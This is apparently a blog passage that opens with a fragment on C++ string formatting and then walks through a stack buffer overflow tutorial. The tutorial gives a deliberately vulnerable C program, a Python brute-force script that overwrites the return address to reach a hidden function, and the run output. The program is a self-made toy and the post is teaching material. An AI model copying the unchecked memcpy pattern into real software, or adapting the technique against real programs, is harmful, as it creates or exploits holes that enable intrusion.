This way we make sure that the buffer is long enough. Otherwise we have an error message. We could instead of calling abort() also try to allocate a buffer that is long enough and try again.
std::ostringstream and boost::format¶

At this point one is tempted to write a wrapper function for that and it already exists: C++ has the ostringstream which allows building a string from parts. The Boost format class provides printf-style format syntax without all the pain of manually allocating buffers.

A simple buffer overflow exploit

maximilian feldthusen — Thu, 03 Feb 2022 14:16:34 +0000

The key to understanding exploits is the concept of the universal machine – the fact that trying to restrict what a computer can do is literally fighting against the laws of physics. Lots of money can be poured into software which sometimes only takes a couple of days to get compromised, its a Sisyphean task where the goal can only be to make it “hard enough” – as its likely that anything complex enough to be useful is vulnerable in some way.

Having said that, the classic exploit is quite avoidable but regrettably common – the buffer overflow, a specific kind of common bug which makes it possible to write over a program’s stack to take control of it’s behaviour externally. This was about as much as I knew, but I didn’t really understand the practicalities so I thought I’d write an example to play with. There are quite a lot of examples online, but a lot of them are a little confusing so I’d thought I try a simpler approach.

Here is a function called “unlock_door”, we’ll compile this into a C program and try to force it to execute even though it’s not called from the program:

void unlock_door() { 
  printf("DOOR UNLOCKED\n"); 
  exit(1); 
}

Now we need a vulnerability, this could be something completely unrelated to “unlock_door” but called in the same program – or it’s library code:

void vulnerable(char *incoming_data, unsigned int len) {
    char fixed_buffer[10];
    // woop! put some variable length data in 
    // a fixed size container with no checking
    memcpy(fixed_buffer,incoming_data,len);
    // print out the return pointer, helpful for debugging the hack!
    printf("return pointer is: %p\n", 
        __builtin_return_address(0));
}

The dodgy memcpy call copies incoming_data into fixed_buffer on the stack which is 10 bytes big. If incoming_data is bigger then it will copy outside of the reserved memory and overwrite other data on the stack. One of the other things stored on the stack is the return address value – which tells the program where the function was called from so it can go back when it’s finished. If we can set incoming_data from outside the program, then we can exploit it to redirect program flow and jump into unlock_door instead of returning properly.

We’ll make getting data into the program very simple indeed, and input it via a base16 encoded argument string converted to binary data passed to our vulnerable function in main:

unsigned int base16_decode(const char *hex, char **data) {
  unsigned int str_size = strlen(hex);
  *data = malloc(str_size/2); 
  for (unsigned int i=0; i<str_size; i+=2) {
    if (sscanf(&(hex[i]), "%2hhx", &((*data)[i/2])) != 1) {
      return 0;
    }
  }
  return str_size/2;
}

void main(int argc, char **argv) {
  char *data;
  unsigned int size = base16_decode(argv[1],&data);
  vulnerable(data,size);
  free(data);
  printf("normal exit, door is locked\n");
  exit(0);
}

This is our vulnerable C program finished. If we run it with just a few bytes of data it operates normally and prints out the current return pointer, sending it back into the main function it was called from:

$ ./dodgy_door_prog 0000000000
return pointer is: 0x40088c
normal exit, door is locked

We can now inspect it in order to figure out the exploit. The first thing we can do is run the standard bintools “nm” command on the binary which prints out the addresses of all the functions in the executable. We can search this with grep to print the address of the target function we want to call:

$ nm dodgy_door_prog | grep unlock_door
00000000004007fa T unlock_door

The smart thing to do next is to work out where the return pointer would be relative to the fixed_buffer variable and offset this address to provide a payload to send the the program – so I wrote a python program to figure it out for me:

import os
import string

# this is stored in memory in reverse (little endian format)
unlock_door_addr = "fa0740"

def build_payload(length):
    return "00"*length+unlock_door_addr

ret = 0
count = 0
# try increasing offsets and until we get the exit code from unlock_door
# ignore all segfaults and bus errors etc and keep retrying
while ret in [0,35584,34560,34304,33792]:
    payload=build_payload(count)
    cmd="./dodgy_door_prog "+payload
    ret = os.system(cmd);
    print cmd
    count+=1

the addresses are stored in memory backwards to what you’d expect as it’s little-endian memory layout (on intel and everything else these days). The script keeps adding zeros in order to offset the target address until it sits in the right bit of stack memory (you can see the return pointer gradually getting corrupted) and eventually triggers the function:

./dodgy_door_prog 00000000000000000000000000000000000000fa0740
return pointer is: 0x40088c
Segmentation fault (core dumped)
./dodgy_door_prog 0000000000000000000000000000000000000000fa0740
return pointer is: 0x40088c
Bus error (core dumped)
./dodgy_door_prog 000000000000000000000000000000000000000000fa0740
return pointer is: 0x40088c
Bus error (core dumped)
./dodgy_door_prog 00000000000000000000000000000000000000000000fa0740
return pointer is: 0x400840
Segmentation fault (core dumped)
./dodgy_door_prog 0000000000000000000000000000000000000000000000fa0740
return pointer is: 0x404007
Segmentation fault (core dumped)
./dodgy_door_prog 000000000000000000000000000000000000000000000000fa0740
return pointer is: 0x4007fa
DOOR UNLOCKED!

The successful offset is 24 bytes. Now the good news is that this is only possible on GCC if we compile with “-fno-stack-protector”, as by default for the last year or so it checks functions that allocate arrays on the stack by using a random “canary” value pushed to the stack, if the canary gets altered it stops the program before the function returns. However not all functions are checked this way as it’s slow, so it’s quite easy to circumvent for example if changed from an array to to the address of a local variable instead.

More advanced versions of this exploit also insert executable code into the stack to do things like start a shell process so you can run any commands as the program. There is also an interesting technique called “Return Oriented Programming” where you can analyse an executable to find snippets of code that end in returns (called “gadgets”) and string them together to run your own arbitrary programs. This reminds me of the recent work we’ve been doing on biological viruses, as it’s analogous to how they latch onto sections of bacterial DNA to run their own code.